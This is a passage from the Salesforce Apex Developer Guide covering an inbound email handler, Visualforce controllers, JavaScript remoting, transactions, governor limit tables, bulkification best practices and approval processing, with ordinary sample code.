// If there is more than one contact with the same email address,
// an exception will be thrown and the catch statement will be called.
try {

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Contact vCon = [SELECT Id, Name, Email

FROM Contact
WHERE Email = :email.fromAddress
LIMIT 1];
// Add a new Task to the contact record we just found above.
newTask.add(new Task(Description = myPlainText,
Priority = 'Normal',
Status = 'Inbound Email',
Subject = email.subject,
IsReminderSet = true,
ReminderDateTime = System.now()+1,
WhoId = vCon.Id));
// Insert the new Task
insert newTask;
System.debug('New Task Object: ' + newTask );
}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {
System.debug('Query Issue: ' + e);
}
// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;
// Return the result for the Apex Email Service
return result;
}
}

SEE ALSO:
InboundEmail Class
InboundEnvelope Class
InboundEmailResult Class

Visualforce Classes
In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record
updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller
extensions:
A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you
use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any functionality
that was already provided in a standard controller.
Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions of the
current user are ignored. You can specify whether a user can execute methods in a custom controller based on the user's profile.

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A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions
allow you to leverage the functionality of another controller while adding your own custom logic.
Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the current
user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions. Although
the extension class executes in system mode, the standard controller executes in user mode. As with custom controllers, you can
specify whether a user can execute methods in a controller extension based on the user's profile.
You can use these system-supplied Apex classes when building custom Visualforce controllers and controller extensions.
Action
Dynamic Component
IdeaStandardController
IdeaStandardSetController
KnowledgeArticleVersionStandardController
Message
PageReference
SelectOption
StandardController
StandardSetController
In addition to these classes, the transient keyword can be used when declaring methods in controllers and controller extensions.
For more information, see Using the transient Keyword on page 80.
For more information on Visualforce, see the Visualforce Developer's Guide.

Invoking Apex Using JavaScript

JavaScript Remoting
Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic behavior
that isnt possible with the standard Visualforce AJAX components.
Features implemented using JavaScript remoting require three elements:
The remote method invocation you add to the Visualforce page, written in JavaScript.
The remote method definition in your Apex controller class. This method definition is written in Apex, but there are some important
differences from normal action methods.
The response handler callback function you add to or include in your Visualforce page, written in JavaScript.
In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }

Apex @RemoteAction methods must be static and either global or public.

A simple JavaScript remoting invocation takes the following form.
[namespace.]controller.method(
[parameters...,]
callbackFunction,

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[configuration]
);

Table 2: Remote Request Elements

Element

Description

namespace

The namespace of the controller class. This is required if your organization has a namespace defined,
or if the class comes from an installed package.

controller

The name of your Apex controller.

method

The name of the Apex method youre calling.

parameters

A comma-separated list of parameters that your method takes.

callbackFunction

configuration

Configures the handling of the remote call and response. Use this to change the behavior of a
remoting call, such as whether or not to escape the Apex methods response.

For more information, see JavaScript Remoting for Apex Controllers in the Visualforce Developer's Guide.

Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webService methods. To do so,
include the following lines in your AJAX code:
<script src="/soap/ajax/15.0/connection.js" type="text/javascript"></script>
<script src="/soap/ajax/15.0/apex.js" type="text/javascript"></script>

Note: For AJAX buttons, use the alternate forms of these includes.
To invoke Apex, use one of the following two methods:
Execute anonymously via sforce.apex.executeAnonymous (script). This method returns a result similar to the API's
result type, but as a JavaScript structure.
Use a class WSDL. For example, you can call the following Apex class:
global class myClass {
webService static Id makeContact(String lastName, Account a) {
Contact c = new Contact(LastName = lastName, AccountId = a.Id);
return c.id;
}
}

By using the following JavaScript code:

var account = sforce.sObject("Account");
var id = sforce.apex.execute("myClass","makeContact",
{lastName:"Smith",
a:account});

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The execute method takes primitive data types, sObjects, and lists of primitives or sObjects.
To call a webService method with no parameters, use {} as the third parameter for sforce.apex.execute. For example,
to call the following Apex class:
global class myClass{
webService static String getContextUserName() {
return UserInfo.getFirstName();
}
}

Use the following JavaScript code:

var contextUser = sforce.apex.execute("myClass", "getContextUserName", {});

Note: If a namespace has been defined for your organization, you must include it in the JavaScript code when you invoke
the class. For example, to call the above class, the JavaScript code from above would be rewritten as follows:
var contextUser = sforce.apex.execute("myNamespace.myClass", "getContextUserName",
{});

To verify whether your organization has a namespace, log in to your Salesforce organization and from Setup, enter Packages
in the Quick Find box, then select Packages. If a namespace is defined, it is listed under Developer Settings.
Both examples result in native JavaScript values that represent the return type of the methods.
Use the following line to display a popup window with debugging information:
sforce.debug.trace=true;

270

CHAPTER 9
In this chapter ...

Apex Transactions

Execution Governors
and Limits

Set Up Governor Limit

Email Warnings

Running Apex within

Governor Execution
Limits

Apex Transactions and Governor Limits

Apex Transactions ensure the integrity of data. Apex code runs as part of atomic transactions. Governor
execution limits ensure the efficient use of resources on the Force.com multitenant platform. Most of
the governor limits are per transaction, and some arent, such as 24-hour limits. To make sure Apex
adheres to governor limits, certain design patterns should be used, such as bulk calls and foreign key
relationships in queries. This chapter covers transactions, governor limits, and best practices.

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Apex Transactions

Apex Transactions
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction either complete
successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The
boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service
method.
All operations that occur inside the transaction boundary represent a single unit of operations. This also applies for calls that are made
from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction
boundary. For example, consider the following chain of operations: a custom Apex Web service method causes a trigger to fire, which
in turn calls a method in a class. In this case, all changes are committed to the database only after all operations in the transaction finish
executing and dont cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the
transaction isnt committed.
Note: An Apex transaction is sometimes referred to as an execution context. Both terms refer to the same thing. This guide uses
the Apex transaction term.

How are Transactions Useful?

Transactions are useful when several operations are related, and either all or none of the operations should be committed. This keeps
the database in a consistent state. There are many business scenarios that benefit from transaction processing. For example, transferring
funds from one bank account to another is a common scenario. It involves debiting the first account and crediting the second account
with the amount to transfer. These two operations need to be committed together to the database. But if the debit operation succeeds
and the credit operation fails, the account balances will be inconsistent.

Example
This example shows how all DML insert operations in a method are rolled back when the last operation causes a validation rule
failure. In this example, the invoice method is the transaction boundaryall code that runs within this method either commits all
changes to the platform database or rolls back all changes. In this case, we add a new invoice statement with a line item for the pencils
merchandise. The Line Item is for a purchase of 5,000 pencils specified in the Units_Sold__c field, which is more than the entire pencils
inventory of 1,000. This example assumes a validation rule has been set up to check that the total inventory of the merchandise item is
enough to cover new purchases.
Since this example attempts to purchase more pencils (5,000) than items in stock (1,000), the validation rule fails and throws an exception.
Code execution halts at this point and all DML operations processed before this exception are rolled back. In this case, the invoice
statement and line item wont be added to the database, and their insert DML operations are rolled back.
In the Developer Console, execute the static invoice method.
//
//
//
Id

Only 1,000 pencils are in stock.

Purchasing 5,000 pencils cause the validation rule to fail,
which results in an exception in the invoice method.
invoice = MerchandiseOperations.invoice('Pencils', 5000, 'test 1');

This is the definition of the invoice method. In this case, the update of total inventory causes an exception due to the validation rule
failure. As a result, the invoice statements and line items will be rolled back and wont be inserted into the database.
public class MerchandiseOperations {
public static Id invoice( String pName, Integer pSold, String pDesc) {
// Retrieve the pencils sample merchandise
Merchandise__c m = [SELECT Price__c,Total_Inventory__c

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FROM Merchandise__c WHERE Name = :pName LIMIT 1];

// break if no merchandise is found
System.assertNotEquals(null, m);
// Add a new invoice
Invoice_Statement__c i = new Invoice_Statement__c(
Description__c = pDesc);
insert i;
// Add a new line item to the invoice
Line_Item__c li = new Line_Item__c(
Name = '1',
Invoice_Statement__c = i.Id,
Merchandise__c = m.Id,
Unit_Price__c = m.Price__c,
Units_Sold__c = pSold);
insert li;
// Update the inventory of the merchandise item
m.Total_Inventory__c -= pSold;
// This causes an exception due to the validation rule
// if there is not enough inventory.
update m;
return i.Id;
}
}

Execution Governors and Limits

Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces limits to ensure that runaway Apex code or
processes dont monopolize shared resources. If some Apex code ever exceeds a limit, the associated governor issues a runtime exception
that cannot be handled.
The Apex limits, or governors, track and enforce the statistics outlined in the following tables and sections.
Per-Transaction Apex Limits
Per-Transaction Certified Managed Package Limits
Force.com Platform Apex Limits
Static Apex Limits
Size-Specific Apex Limits
Miscellaneous Apex Limits
In addition to the core Apex governor limits, email limits and push notification limits are also included later in this topic for your
convenience.

Per-Transaction Apex Limits

These limits count for each Apex transaction. For Batch Apex, these limits are reset for each execution of a batch of records in the
execute method.
This table lists limits for synchronous Apex and asynchronous Apex (Batch Apex and future methods) when theyre different. Otherwise,
this table lists only one limit that applies to both synchronous and asynchronous Apex.

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Execution Governors and Limits

Description
Total number of SOQL queries issued1 (This limit doesnt apply to custom metadata types.
In a single Apex transaction, custom metadata records can have unlimited SOQL queries.)

Synchronous
Limit

Asynchronous
Limit

100

200

Total number of records retrieved by SOQL queries

50,000

Total number of records retrieved by Database.getQueryLocator

10,000

Total number of SOSL queries issued

Total number of records retrieved by a single SOSL query

2,000

Total number of DML statements issued2

150

Total number of records processed as a result of DML statements, Approval.process,

or database.emptyRecycleBin

10,000

Total stack depth for any Apex invocation that recursively fires triggers due to insert,
3
update, or delete statements

Total number of callouts (HTTP requests or Web services calls) in a transaction

100

Maximum timeout for all callouts (HTTP requests or Web services calls) in a transaction

120 seconds

Maximum number of methods with the future annotation allowed per Apex invocation

Maximum number of Apex jobs added to the queue with System.enqueueJob

Total number of sendEmail methods allowed

Total heap size4

6 MB

Maximum CPU time on the Salesforce servers5

12 MB

10,000 milliseconds 60,000 milliseconds

Maximum execution time for each Apex transaction

10 minutes

Maximum number of push notification method calls allowed per Apex transaction
Maximum number of push notifications that can be sent in each push notification method
call

10
2,000

In a SOQL query with parent-child relationship subqueries, each parent-child relationship counts as an extra query. These types of
queries have a limit of three times the number for top-level queries. The row counts from these relationship queries contribute to the
row counts of the overall code execution. In addition to static SOQL statements, calls to the following methods count against the number
of SOQL statements issued in a request.
Database.countQuery
Database.getQueryLocator
Database.query
2

Calls to the following methods count against the number of DML queries issued in a request.

Approval.process
Database.convertLead
Database.emptyRecycleBin

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Database.rollback
Database.setSavePoint
delete and Database.delete
insert and Database.insert
merge and Database.merge
undelete and Database.undelete
update and Database.update
upsert and Database.upsert
System.runAs
3

Recursive Apex that does not fire any triggers with insert, update, or delete statements exists in a single invocation, with a
single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from the invocation
of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation than a recursive call in a
single invocation, there are tighter restrictions on the stack depth of these types of recursive calls.
4

Email services heap size is 36 MB.

CPU time is calculated for all executions on the Salesforce application servers occurring in one Apex transaction. CPU time is calculated
for the executing Apex code, and for any processes that are called from this code, such as package code and workflows. CPU time is
private for a transaction and is isolated from other transactions. Operations that dont consume application server CPU time arent counted
toward CPU time. For example, the portion of execution time spent in the database for DML, SOQL, and SOSL isnt counted, nor is waiting
time for Apex callouts.
Note:
Limits apply individually to each testMethod.
To determine the code execution limits for your code while it is running, use the Limits methods. For example, you can use
the getDMLStatements method to determine the number of DML statements that have already been called by your
program. Or, you can use the getLimitDMLStatements method to determine the total number of DML statements
available to your code.

Per-Transaction Certified Managed Package Limits

Certified managed packagesmanaged packages that have passed the security review for AppExchangeget their own set of limits
for most per-transaction limits. Certified managed packages are developed by Salesforce ISV Partners, are installed in your organization
from Force.com AppExchange, and have unique namespaces.
Here is an example that illustrates the separate certified managed package limits for DML statements. If you install a certified managed
package, all the Apex code in that package gets its own 150 DML statements. These DML statements are in addition to the 150 DML
statements your organizations native code can execute. This limit increase means more than 150 DML statements can execute during
a single transaction if code from the managed package and your native organization both execute. Similarly, the certified managed
package gets its own 100-SOQL-query limit for synchronous Apex, in addition to the organizations native code limit of 100 SOQL queries.
Theres no limit on the number of certified namespaces that can be invoked in a single transaction. However, the number of operations
that can be performed in each namespace must not exceed the per-transaction limits. Theres also a limit on the cumulative number of
operations that can be made across namespaces in a transaction. This cumulative limit is 11 times the per-namespace limit. For example,
if the per-namespace limit for SOQL queries is 100, a single transaction can perform up to 1,100 SOQL queries. In this case, the cumulative
limit is 11 times the per-namespace limit of 100. These queries can be performed across an unlimited number of namespaces, as long
as any one namespace doesn't have more than 100 queries. The cumulative limit doesnt affect limits that are shared across all namespaces,
such as the limit on maximum CPU time.

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Note: These cross-namespace limits apply only to namespaces in certified managed packages. Namespaces in packages that are
not certified dont have their own separate governor limits. The resources they use continue to count against the same governor
limits used by your org's custom code.
This table lists the cumulative cross-namespace limits.
Description

Cumulative
Cross-Namespace Limit

Total number of SOQL queries issued

1,100

Total number of records retrieved by Database.getQueryLocator

110,000

Total number of SOSL queries issued

220

Total number of DML statements issued

1,650

Total number of callouts (HTTP requests or Web services calls) in a transaction

1,100

Total number of sendEmail methods allowed

110

All per-transaction limits count separately for certified managed packages except for:
The total heap size
The maximum CPU time
The maximum transaction execution time
The maximum number of unique namespaces
These limits count for the entire transaction, regardless of how many certified managed packages are running in the same transaction.
Also, if you install a package from AppExchange that isnt created by a Salesforce ISV Partner and isnt certified, the code from that
package doesnt have its own separate governor limits. Any resources it uses count against the total governor limits for your organization.
Cumulative resource messages and warning emails are also generated based on managed package namespaces.
For more information on Salesforce ISV Partner packages, see Salesforce Partner Programs.

Force.com Platform Apex Limits

The limits in this table arent specific to an Apex transaction and are enforced by the Force.com platform.
Description

Limit

The maximum number of asynchronous Apex method executions (batch Apex, future methods,
Queueable Apex, and scheduled Apex) per a 24-hour period1

250,000 or the number of user

licenses in your organization
multiplied by 200, whichever is
greater

Number of synchronous concurrent requests for long-running requests that last longer than 5 seconds 10
for each organization.2
Maximum number of Apex classes scheduled concurrently

100

Maximum number of batch Apex jobs in the Apex flex queue that are in Holding status

100

Maximum number of batch Apex jobs queued or active concurrently3

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Description

Limit

Maximum number of batch Apex job start method concurrent executions4

Maximum number of batch jobs that can be submitted in a running test

Maximum number of test classes that can be queued per 24-hour period (production organizations The greater of 500 or 10
other than Developer Edition)5
multiplied by the number of test
classes in the organization
Maximum number of test classes that can be queued per 24-hour period (sandbox and Developer The greater of 500 or 20
Edition organizations)5
multiplied by the number of test
classes in the organization
Maximum number of query cursors open concurrently per user6

Maximum number of query cursors open concurrently per user for the Batch Apex start method 15
Maximum number of query cursors open concurrently per user for the Batch Apex execute and 5
finish methods
Maximum simultaneous requests to URLs with the same host for a callout request7

To external endpoints: 20
To endpoints within your
Salesforce orgs domain:
unlimited

For Batch Apex, method executions include executions of the start, execute, and finish methods. This limit is for your entire
organization and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. The licenses
that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter customer
users, Customer Portal User, and partner portal User licenses arent included.
2

If more requests are made while the 10 long-running requests are still running, theyre denied.

When batch jobs are submitted, theyre held in the flex queue before the system queues them for processing.

Batch jobs that havent started yet remain in the queue until theyre started. If more than one job is running, this limit doesnt cause
any batch job to fail and execute methods of batch Apex jobs still run in parallel.
5

This limit applies to tests running asynchronously. This group of tests includes tests started through the Salesforce user interface
including the Developer Console or by inserting ApexTestQueueItem objects using SOAP API.
6

For example, if 50 cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of
the 50 cursors is released. Cursor limits for different Force.com features are tracked separately. For example, you can have 50 Apex query
cursors, 15 cursors for the Batch Apex start method, 5 cursors each for the Batch Apex execute and finish methods, and 5
Visualforce cursors open at the same time.
7

The host is defined by the unique subdomain for the URLfor example, www.mysite.com and extra.mysite.com are two
different hosts. This limit is calculated across all organizations that access the same host. If this limit is exceeded, a CalloutException
is thrown.

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Static Apex Limits

Description

Limit

Default timeout of callouts (HTTP requests or Web services calls) in a transaction

10 seconds

Maximum size of callout request or response (HTTP request or Web services call)1

6 MB for synchronous Apex or

12 MB for asynchronous Apex

Maximum SOQL query run time before Salesforce cancels the transaction

120 seconds

Maximum number of class and trigger code units in a deployment of Apex

5,000

For loop list batch size

200

Maximum number of records returned for a Batch Apex query in Database.QueryLocator 50 million

The HTTP request and response sizes count towards the total heap size.

Size-Specific Apex Limits

Description

Limit

Maximum number of characters for a class

1 million

Maximum number of characters for a trigger

1 million

Maximum amount of code used by all Apex code in an organization1

3 MB

Method size limit 2

65,535 bytecode instructions in

compiled form

This limit does not apply to certified managed packages installed from AppExchange (that is, an app that has been marked AppExchange
Certified). The code in those types of packages belongs to a namespace unique from the code in your organization. For more information
on AppExchange Certified packages, see the Force.com AppExchange online help. This limit also does not apply to any code included
in a class defined with the @isTest annotation.
2

Large methods that exceed the allowed limit cause an exception to be thrown during the execution of your code.

Miscellaneous Apex Limits

SOQL Query Performance
For best performance, SOQL queries must be selective, particularly for queries inside triggers. To avoid long execution times, the
system can terminate nonselective SOQL queries. Developers receive an error message when a non-selective query in a trigger
executes against an object that contains more than 100,000 records. To avoid this error, ensure that the query is selective. See More
Efficient SOQL Queries.
Chatter in Apex
For classes in the ConnectApi namespace, every write operation costs one DML statement against the Apex governor limit.
ConnectApi method calls are also subject to rate limiting. ConnectApi rate limits match Chatter REST API rate limits. Both

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have a per user, per namespace, per hour rate limit. When you exceed the rate limit, a ConnectApi.RateLimitException
is thrown. Your Apex code must catch and handle this exception.
Event Reports
The maximum number of records that an event report returns for a user who is not a system administrator is 20,000; for system
administrators, 100,000.
Data.com Clean
If you use the Data.com Clean product and its automated jobs, and you have set up Apex triggers on account, contact, or lead records
that run SOQL queries, the queries can interfere with Clean jobs for those objects. Your Apex triggers (combined) must not exceed
200 SOQL queries per batch. If they do, your Clean job for that object fails. In addition, if your triggers call future methods, they
are subject to a limit of 10 future calls per batch.

Email Limits
Inbound Email Limits
Email Services: Maximum Number of Email Messages Processed
(Includes limit for On-Demand Email-to-Case)

Number of user licenses multiplied by

1,000; maximum 1,000,000

Email Services: Maximum Size of Email Message (Body and Attachments)

10 MB1

On-Demand Email-to-Case: Maximum Email Attachment Size

25 MB

On-Demand Email-to-Case: Maximum Number of Email Messages Processed

Number of user licenses multiplied by

1,000; maximum 1,000,000

(Counts toward limit for Email Services)

The maximum size of email messages for Email Services varies depending on language and character set. The size of an email
message includes the email headers, body, attachments, and encoding. As a result, an email with a 25 MB attachment likely exceeds
the 25 MB size limit for an email message after accounting for the headers, body, and encoding..
When defining email services, note the following:
An email service only processes messages it receives at one of its addresses.
Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can
process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on
how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number
of user licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your organization can process up to 10,000
email messages a day.
Email service addresses that you create in your sandbox cannot be copied to your production organization.
For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email
address.
Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments)
exceeds approximately 10 MB (varies depending on language and character set).
Outbound Email: Limits for Single and Mass Email Sent Using Apex
Using the API or Apex, you can send single emails to a maximum of 1,000 external email addresses per day based on Greenwich
Mean Time (GMT). Single emails sent using the Salesforce application don't count toward this limit. Theres no limit on sending
individual emails to contacts, leads, person accounts, and users in your org directly from account, contact, lead, opportunity, case,
campaign, or custom object pages.

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When sending single emails, keep in mind:

You can send 100 emails per SingleEmailMessage.
If you use SingleEmailMessage to email your orgs internal users, specifying the users ID in setTargetObjectId
means the email doesnt count toward the daily limit. However, specifying internal users email addresses in setToAddresses
means the email does count toward the limit.
You can send mass email to a maximum of 1,000 external email addresses per day per org based on Greenwich Mean Time (GMT).
The maximum number of external addresses you can include in each mass email depends on your edition:
Edition

External Address Limit per Mass Email

Personal, Contact Manager, and Group

N/A

Professional

250

Enterprise

500

Unlimited and Performance

1,000

Note:
The single and mass email limits don't take unique addresses into account. For example, if you have
[email protected] in your email 10 times, that counts as 10 against the limit.
You can send an unlimited amount of email to your orgs internal users, which includes portal users.
You can send mass emails only to contacts, person accounts, leads, and your orgs internal users.
In Developer Edition orgs and orgs evaluating Salesforce during a trial period, you can send mass email to no more than
10 external email addresses per day. This lower limit doesnt apply if your org was created before the Winter 12 release
and already had mass email enabled with a higher limit. Additionally, your org can send single emails to a maximum of
15 email addresses per day.

Push Notification Limits

The maximum push notifications allowed for each mobile app associated with your Salesforce org depends on the type of app.
Mobile application type

Maximum notifications per app per day

Provided by Salesforce (for example, Salesforce1)

50,000

Developed by your company for internal employee use

35,000

Installed from the AppExchange

5,000

Only deliverable notifications count toward this limit. For example, consider the scenario where a notification is sent to 1,000 employees
in your company, but 100 employees havent installed the mobile application yet. Only the notifications sent to the 900 employees who
have installed the mobile application count toward this limit.

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Set Up Governor Limit Email Warnings

Each test push notification that is generated through the Test Push Notification page is limited to a single recipient. Test push notifications
count toward an applications daily push notification limit.
SEE ALSO:
Asynchronous Callout Limits

Set Up Governor Limit Email Warnings

You can specify users in your organization to receive an email notification when they invoke Apex code that surpasses 50% of allocated
governor limits.
1. Log in to Salesforce as an administrator user.
2. From Setup, enter Users in the Quick Find box, then select Users.
3. Click Edit next to the name of the user to receive the email notifications.
4. Select the Send Apex Warning Emails option.
5. Click Save.

Running Apex within Governor Execution Limits

Unlike traditional software development, developing software in a multitenant cloud environment, the Force.com platform, relieves you
from having to scale your code because the Force.com platform does it for you. Because resources are shared in a multitenant platform,
the Apex runtime engine enforces a set of governor execution limits to ensure that no one transaction monopolizes shared resources.
Your Apex code must execute within these predefined execution limits. If a governor limit is exceeded, a run-time exception that cant
be handled is thrown. By following best practices in your code, you can avoid hitting these limits. Imagine you had to wash 100 T-shirts.
Would you wash them one by oneone per load of laundry, or would you group them in batches for just a few loads? The benefit of
coding in the cloud is that you learn how to write more efficient code and waste fewer resources.
The governor execution limits are per transaction. For example, one transaction can issue up to 100 SOQL queries and up to 150 DML
statements. There are some other limits that arent transaction bound, such as the number of batch jobs that can be queued or active
at one time.
The following are some best practices for writing code that doesnt exceed certain governor limits.

Bulkifying DML Calls

Making DML calls on lists of sObjects instead of each individual sObject makes it less likely to reach the DML statements limit. The
following is an example that doesnt bulkify DML operations, and the next example shows the recommended way of calling DML
statements.
Example: DML calls on single sObjects
The for loop iterates over line items contained in the liList List variable. For each line item, it sets a new value for the Description__c
field and then updates the line item. If the list contains more than 150 items, the 151st update call returns a run-time exception for
exceeding the DML statement limit of 150. How do we fix this? Check the second example for a simple solution.
for(Line_Item__c li : liList) {
if (li.Units_Sold__c > 10) {
li.Description__c = 'New description';
}

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// Not a good practice since governor limits might be hit.

update li;
}

Recommended Alternative: DML calls on sObject lists

This enhanced version of the DML call performs the update on an entire list that contains the updated line items. It starts by creating a
new list and then, inside the loop, adds every update line item to the new list. It then performs a bulk update on the new list.
List<Line_Item__c> updatedList = new List<Line_Item__c>();
for(Line_Item__c li : liList) {
if (li.Units_Sold__c > 10) {
li.Description__c = 'New description';
updatedList.add(li);
}
}
// Once DML call for the entire list of line items
update updatedList;

More Efficient SOQL Queries

Placing SOQL queries inside for loop blocks isnt a good practice because the SOQL query executes once for each iteration and may
surpass the 100 SOQL queries limit per transaction. The following is an example that runs a SOQL query for every item in Trigger.new,
which isnt efficient. An alternative example is given with a modified query that retrieves child items using only one SOQL query.
Example: Inefficient querying of child items
The for loop in this example iterates over all invoice statements that are in Trigger.new. The SOQL query performed inside the
loop retrieves the child line items of each invoice statement. If more than 100 invoice statements were inserted or updated, and thus
contained in Trigger.new, this results in a run-time exception because of reaching the SOQL limit. The second example solves this
problem by creating another SOQL query that can be called only once.
trigger LimitExample on Invoice_Statement__c (before insert, before update) {
for(Invoice_Statement__c inv : Trigger.new) {
// This SOQL query executes once for each item in Trigger.new.
// It gets the line items for each invoice statement.
List<Line_Item__c> liList = [SELECT Id,Units_Sold__c,Merchandise__c
FROM Line_Item__c
WHERE Invoice_Statement__c = :inv.Id];
for(Line_Item__c li : liList) {
// Do something
}
}
}

Recommended Alternative: Querying of child items with one SOQL query

This example bypasses the problem of having the SOQL query called for each item. It has a modified SOQL query that retrieves all invoice
statements that are part of Trigger.new and also gets their line items through the nested query. In this way, only one SOQL query
is performed and were still within our limits.
trigger EnhancedLimitExample on Invoice_Statement__c (before insert, before update) {
// Perform SOQL query outside of the for loop.
// This SOQL query runs once for all items in Trigger.new.

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List<Invoice_Statement__c> invoicesWithLineItems =
[SELECT Id,Description__c,(SELECT Id,Units_Sold__c,Merchandise__c from Line_Items__r)
FROM Invoice_Statement__c WHERE Id IN :Trigger.newMap.KeySet()];
for(Invoice_Statement__c inv : invoicesWithLineItems) {
for(Line_Item__c li : inv.Line_Items__r) {
// Do something
}
}
}

SOQL For Loops

Use SOQL for loops to operate on records in batches of 200. This helps avoid the heap size limit of 6 MB. Note that this limit is for code
running synchronously and it is higher for asynchronous code execution.
Example: Query without a for loop
The following is an example of a SOQL query that retrieves all merchandise items and stores them in a List variable. If the returned
merchandise items are large in size and a large number of them was returned, the heap size limit might be hit.
List<Merchandise__c> ml = [SELECT Id,Name FROM Merchandise__c];

Recommended Alternative: Query within a for loop

To prevent this from happening, this second version uses a SOQL for loop, which iterates over the returned results in batches of 200
records. This reduces the size of the ml list variable which now holds 200 items instead of all items in the query results, and gets recreated
for every batch.
for (List<Merchandise__c> ml : [SELECT Id,Name FROM Merchandise__c]){
// Do something.
}

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CHAPTER 10 Using Salesforce Features with Apex

In this chapter ...

Actions

Approval Processing

Authentication

Chatter Answers and

Ideas

Chatter in Apex

Moderate Chatter
Private Messages
with Triggers

Moderate Feed Items

with Triggers

Communities

Platform Cache

Salesforce
Knowledge

Salesforce Connect

Salesforce Reports
and Dashboards API
via Apex

Force.com Sites

Support Classes

Territory
Management 2.0

Visual Workflow

Several Salesforce application features in the user interface are exposed in Apex enabling programmatic
access to those features in the Force.com platform.
For example, using Chatter in Apex enables you to post a message to a Chatter feed. Using the approval
methods, you can submit approval process requests and approve these requests.

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Actions

Actions
Create actions and add them to the Chatter publisher on the home page, on the Chatter tab, in Chatter groups, and on record detail
pages. In Salesforce Classic, actions appear in the Chatter publisher. In Lightning Experience, actions appear in different areas of the user
interface, depending on the actions type. In Salesforce1, actions appear in the action bar, its associated action menu, and as list-item
actions.
Create actions let users create records. Theyre different from the Quick Create and Create New features on the Salesforce home page,
because create actions respect validation rules and field requiredness, and you can choose each actions fields.
Custom actions are Visualforce pages or canvas apps with functionality that you define. For example, you can create a custom action
so that users can write comments that are longer than 5,000 characters, or create one that integrates a video-conferencing application
so that support agents can communicate visually with customers.
For create, log-a-call, and custom actions, you can create either object-specific actions or global actions. Update actions must be
object-specific.
For more information on actions, see the online help.
SEE ALSO:
QuickAction Class
QuickActionRequest Class
QuickActionResult Class
DescribeQuickActionResult Class
DescribeQuickActionDefaultValue Class
DescribeLayoutSection Class
DescribeLayoutRow Class
DescribeLayoutItem Class
DescribeLayoutComponent Class
DescribeAvailableQuickActionResult Class

Approval Processing
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including
who to request approval from and what to do at each point of the process.
Use the Apex process classes to create approval requests and process the results of those requests:
ProcessRequest Class
ProcessResult Class
ProcessSubmitRequest Class
ProcessWorkitemRequest Class
Use the Approval.process method to submit an approval request and approve or reject existing approval requests. For more
information, see Approval Class.
Note: The process method counts against the DML limits for your organization. See Execution Governors and Limits.
For more information about approval processes, see Set Up an Approval Process in the Salesforce online help.

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Apex Approval Processing Example

IN THIS SECTION:
Apex Approval Processing Example

Apex Approval Processing Example

The following sample code initially submits a record for approval, then approves the request. This example requires an approval process
to be set up for accounts.
public class TestApproval {
void submitAndProcessApprovalRequest() {
// Insert an account
Account a = new Account(Name='Test',annualRevenue=100.0);
insert a;
User user1 = [SELECT Id FROM User WHERE Alias='SomeStandardUser'];
// Create an approval request for the account
Approval.ProcessSubmitRequest req1 =
new Approval.ProcessSubmitRequest();
req1.setComments('Submitting request for approval.');
req1.setObjectId(a.id);
// Submit on behalf of a specific submitter
req1.setSubmitterId(user1.Id);
// Submit the record to specific process and skip the criteria evaluation
req1.setProcessDefinitionNameOrId('PTO_Request_Process');
req1.setSkipEntryCriteria(true);
// Submit the approval request for the account
Approval.ProcessResult result = Approval.process(req1);
// Verify the result
System.assert(result.isSuccess());
System.assertEquals(
'Pending', result.getInstanceStatus(),
'Instance Status'+result.getInstanceStatus());
// Approve the submitted request
// First, get the ID of the newly created item
List<Id> newWorkItemIds = result.getNewWorkitemIds();
// Instantiate the new ProcessWorkitemRequest object and populate it
Approval.ProcessWorkitemRequest req2 =
new Approval.ProcessWorkitemRequest();
req2.setComments('Approving request.');
req2.setAction('Approve');
req2.setNextApproverIds(new Id[] {UserInfo.getUserId()});
// Use the ID from the newly created item to specify the item to be worked
req2.setWorkitemId(newWorkItemIds.get(0));

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Authentication

// Submit the request for approval

Approval.ProcessResult result2 = Approval.process(req2);
// Verify the results
System.assert(result2.isSuccess(), 'Result Status:'+result2.isSuccess());
System.assertEquals(
'Approved', result2.getInstanceStatus(),
'Instance Status'+result2.getInstanceStatus());
}
}

Authentication
Salesforce provides various ways to authenticate users. Build a combination of authentication methods to fit the needs of your org and
your users use patterns.
IN THIS SECTION:
Create a Custom Authentication Provider Plug-in
You can use Apex to create a custom OAuth-based authentication provider plug-in for single sign-on (SSO) to Salesforce.

Create a Custom Authentication Provider Plug-in

You can use Apex to create a custom OAuth-based authentication provider plug-in for single sign-on (SSO) to Salesforce.
Single sign-on allows users to access all authorized network resources without having to log in separately to each resource. You validate
usernames and passwords against your corporate user database or other client application rather than having separate user passwords
